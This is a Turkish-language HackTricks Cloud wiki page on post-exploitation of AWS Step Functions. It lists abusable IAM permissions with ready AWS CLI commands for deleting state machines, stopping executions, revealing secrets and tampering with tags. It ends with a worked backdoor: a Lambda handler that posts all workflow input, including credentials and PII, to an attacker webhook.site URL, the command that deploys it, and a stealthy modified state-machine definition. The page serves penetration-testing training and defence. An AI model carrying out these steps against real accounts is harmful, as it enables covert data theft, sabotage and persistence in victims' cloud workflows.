Files
hacktricks-cloud/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md

7.6 KiB
Raw Blame History

AWS - Step Functions Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

Step Functions

Bu AWS hizmeti hakkında daha fazla bilgi için kontrol edin:

{{#ref}} ../aws-services/aws-stepfunctions-enum.md {{#endref}}

states:RevealSecrets

Bu izin, bir yürütme içindeki gizli verileri açığa çıkarmaya olanak tanır. Bunun için, Denetim seviyesinin TRACE olarak ayarlanması ve revealSecrets parametresinin true olarak belirlenmesi gerekir.

states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias

Bu izinlere sahip bir saldırgan, durum makinelerini, bunların sürümlerini ve takma adlarını kalıcı olarak silebilir. Bu, kritik iş akışlarını kesintiye uğratabilir, veri kaybına yol açabilir ve etkilenen durum makinelerini geri yüklemek için önemli zaman gerektirebilir. Ayrıca, bir saldırgana izlerini örtme, adli soruşturmaları kesintiye uğratma ve temel otomasyon süreçlerini ve durum yapılandırmalarını kaldırarak operasyonları potansiyel olarak felç etme imkanı tanır.

Note

  • Bir durum makinesi sildiğinizde, ona bağlı tüm sürümleri ve takma adları da silersiniz.
  • Bir durum makinesi takma adını sildiğinizde, bu takma adı referans alan durum makinesi sürümlerini silmezsiniz.
  • Şu anda bir veya daha fazla takma ad tarafından referans alınan bir durum makinesi sürümünü silmek mümkün değildir.
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
  • Potansiyel Etki: Kritik iş akışlarının kesintiye uğraması, veri kaybı ve operasyonel duraksama.

states:UpdateMapRun

Bu izne sahip bir saldırgan, Map Run hata yapılandırmasını ve paralel ayarını manipüle edebilir, izin verilen maksimum çocuk iş akışı yürütme sayısını artırabilir veya azaltabilir, bu da hizmetin performansını doğrudan etkiler. Ayrıca, bir saldırgan, toleranslı hata yüzdesi ve sayısını değiştirebilir, bu değeri 0'a düşürerek her seferinde bir öğe başarısız olduğunda tüm harita çalışmasının başarısız olmasına neden olabilir, bu da durum makinesi yürütmesini doğrudan etkileyerek kritik iş akışlarını kesintiye uğratabilir.

aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
  • Olası Etki: Performans düşüşü ve kritik iş akışlarının kesintiye uğraması.

states:StopExecution

Bu izne sahip bir saldırgan, herhangi bir durum makinesinin yürütülmesini durdurabilir, devam eden iş akışlarını ve süreçleri kesintiye uğratabilir. Bu, tamamlanmamış işlemlere, durdurulmuş iş operasyonlarına ve potansiyel veri bozulmasına yol açabilir.

Warning

Bu eylem express durum makineleri tarafından desteklenmemektedir.

aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
  • Potansiyel Etki: Devam eden iş akışlarının kesintiye uğraması, operasyonel duraklama ve potansiyel veri bozulması.

states:TagResource, states:UntagResource

Bir saldırgan, Step Functions kaynaklarından etiketler ekleyebilir, değiştirebilir veya kaldırabilir, bu da organizasyonunuzun maliyet tahsisi, kaynak takibi ve etiketlere dayalı erişim kontrol politikalarını bozabilir.

aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>

Olası Etki: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının kesintiye uğraması.


states:UpdateStateMachine, lambda:UpdateFunctionCode

Aşağıdaki izinlere sahip bir kullanıcı veya rolü ele geçiren bir saldırgan:

{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}

...bir yüksek etkili ve gizli bir post-exploitation saldırısı gerçekleştirebilir, Lambda arka kapısını Step Function mantık manipülasyonu ile birleştirerek.

Bu senaryo, kurbanın duyarlı girdi işleyen iş akışlarını düzenlemek için AWS Step Functions kullandığını varsayar; bu girdiler arasında kimlik bilgileri, tokenlar veya PII bulunur.

Örnek kurban çağrısı:

aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim

Eğer Step Function, LegitBusinessLogic gibi bir Lambda'yı çağıracak şekilde yapılandırılmışsa, saldırgan iki gizli saldırı varyantı ile devam edebilir:


Lambda fonksiyonunu güncelledi

Saldırgan, Step Function tarafından zaten kullanılan Lambda fonksiyonunun (LegitBusinessLogic) kodunu, giriş verilerini sessizce dışarı aktarmak için değiştirir.

# send_to_attacker.py
import requests

def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
zip function.zip send_to_attacker.py

aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker

Step Function'a Kötü Amaçlı Bir Durum Ekleyin

Alternatif olarak, saldırgan Step Function tanımını güncelleyerek iş akışının başında bir sızdırma durumu enjekte edebilir.

{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}

aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker

Saldırgan, durumu tanımını daha gizli bir şekilde şu şekilde güncelleyebilir: { "Comment": "Exfiltrasyon için Arka Kapı", "StartAt": "ExfiltrateSecrets", "States": { "ExfiltrateSecrets": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", "InputPath": "$", "ResultPath": "$.exfil", "Next": "OriginalState" }, "OriginalState": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", "End": true } } } kurbanın farklılığı fark etmeyeceği bir şekilde.


Kurban Ayarı (Sömürü için Bağlam)

  • Hassas kullanıcı girdilerini işlemek için bir Step Function (LegitStateMachine) kullanılır.
  • LegitBusinessLogic gibi bir veya daha fazla Lambda fonksiyonu çağrılır.

Olası Etki:

  • Gizli verilerin, kimlik bilgileri, API anahtarları ve PII dahil olmak üzere sessiz bir şekilde sızdırılması.
  • İş akışı yürütmesinde görünür hata veya başarısızlık yok.
  • Lambda kodu veya yürütme izlerini denetlemeden tespit edilmesi zor.
  • Arka kapı kodda veya ASL mantığında kalırsa uzun vadeli kalıcılığı sağlar.

{{#include ../../../banners/hacktricks-training.md}}